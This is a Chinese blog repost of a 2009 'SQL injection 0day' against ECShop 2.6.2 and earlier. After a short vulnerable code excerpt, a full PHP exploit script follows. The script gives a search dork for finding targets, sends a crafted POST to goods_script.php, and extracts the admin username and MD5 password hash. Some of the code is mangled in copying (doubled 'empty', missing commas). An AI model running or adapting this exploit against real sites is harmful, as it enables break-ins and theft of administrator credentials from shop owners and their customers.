[hack]ECShop <= v2.6.2 SQL injection 0day

2009年11月24日星期二 | | |

ECShop <= v2.6.2 SQL injection 0day

作者:Ryat

影响2.5.x和2.6.x,其他版本未测试

goods_script.php44行:

  1. if (emptyempty($_GET['type']))  
  2.     {  
  3.         ...  
  4.     }  
  5.     elseif ($_GET['type'] == 'collection')  
  6.     {  
  7.         ...  
  8.     }  
  9.     $sql .= " LIMIT " . (!emptyempty($_GET['goods_num']) ? intval($_GET['goods_num']) : 10);  
  10.     $res = $db->query($sql); 

 

$sql没有初始化,很明显的一个漏洞:)

EXP:

  1. #!/usr/bin/php  
  2. <?php  
  3.  
  4. print_r('  
  5. +---------------------------------------------------------------------------+  
  6. ECShop <= v2.6.2 SQL injection / admin credentials disclosure exploit  
  7. by puret_t  
  8. mail: puretot at gmail dot com  
  9. team: http://www.smxiaoqiang.cn  
  10. dork: "Powered by ECShop" 
  11. +---------------------------------------------------------------------------+  
  12. ');  
  13. /**  
  14. * works with register_globals = On  
  15. */ 
  16. if ($argc < 3) {  
  17.     print_r('  
  18. +---------------------------------------------------------------------------+  
  19. Usage: php '.$argv[0].' host path  
  20. host:      target server (ip/hostname)  
  21. path:      path to ecshop  
  22. Example:  
  23. php '.$argv[0].' localhost /ecshop/  
  24. +---------------------------------------------------------------------------+  
  25. ');  
  26.     exit;  
  27. }  
  28.  
  29. error_reporting(7);  
  30. ini_set('max_execution_time', 0);  
  31.  
  32. $host = $argv[1];  
  33. $path = $argv[2];  
  34.  
  35. $resp = send();  
  36. preg_match('#href="([\S]+):([a-z0-9]{32})"#'$resp$hash);  
  37.  
  38. if ($hash)  
  39.     exit("Expoilt Success!\nadmin:\t$hash[1]\nPassword(md5):\t$hash[2]\n");  
  40. else 
  41.     exit("Exploit Failed!\n");  
  42.  
  43. function send()  
  44. {  
  45.     global $host$path;  
  46.  
  47.     $cmd = 'sql=SELECT CONCAT(user_name,0x3a,password) as goods_id FROM ecs_admin_user WHERE action_list=0x'.bin2hex('all').' LIMIT 1#';  
  48.  
  49.     $data = "POST ".$path."goods_script.php?type=".time()."  HTTP/1.1";  
  50.     $data .= "Accept: */*";  
  51.     $data .= "Accept-Language: zh-cn";  
  52.     $data .= "Content-Type: application/x-www-form-urlencoded";  
  53.     $data .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)";  
  54.     $data .= "Host: $host";  
  55.     $data .= "Content-Length: ".strlen($cmd)."";  
  56.     $data .= "Connection: Close";  
  57.     $data .= $cmd;  
  58.  
  59.     $fp = fsockopen($host, 80);  
  60.     fputs($fp$data);  
  61.  
  62.     $resp = '';  
  63.  
  64.     while ($fp && !feof($fp))  
  65.         $resp .= fread($fp, 1024);  
  66.  
  67.     return $resp;  
  68. }  
  69.  
  70. ?> 
 
From: http://www.sai52.com/archives/873/ 
我的QQ空间
kmeleon.js及pref.js配置解释
K-MeleonCCF ME目录下的defaults\pref\kmeleon.js保存了K-Meleon...
 

0 评论:


所有文章收集于网络,如果有牵扯到版权问题请与本站站长联系。谢谢合作![email protected]